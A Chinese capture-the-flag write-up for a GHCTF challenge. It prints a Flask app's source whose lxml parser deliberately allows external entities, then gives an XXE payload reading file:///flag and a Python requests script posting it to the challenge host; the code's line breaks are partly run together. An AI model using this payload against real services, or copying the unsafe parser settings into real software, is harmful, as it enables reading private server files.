题目代码
from flask import Flask,request
import base64
from lxml import etree
import re app = Flask(__name__)
@app.route('/')
def index(): return open(__file__).read()
@app.route('/ghctf',methods=['POST'])
def parse():xml=request.form.get('xml') print(xml) if xml is None: return "No System is Safe."#漏洞关键点：
#load_dtd=True 允许加载外部dtd文件
#resolve_entities=True 允许解析 XML 实体，包括外部实体parser = etree.XMLParser(load_dtd=True, resolve_entities=True) #etree.fromstring(xml, parser) 方法将接收到的 XML 字符串解析为一个 Element 对象
#该对象代表着根元素
#在根元素中查找到第一个name标签，并将其文本内容赋值给nameroot = etree.fromstring(xml, parser) name=root.find('name').text return name or None
if __name__=="__main__": app.run(host='0.0.0.0',port=8080)构造
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///flag">
]>
<root><name>&xxe;</name>
</root>利用Python发包
import requestsurl = "http://node1.anna.nssctf.cn:28621/ghctf"
#用"""包裹支持多行文本
exp = """
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///flag">
]>
<root><name>&xxe;</name>
</root>"""r = requests.post(url, data={"xml": exp})
print(r.text)直接在根目录下寻找flag
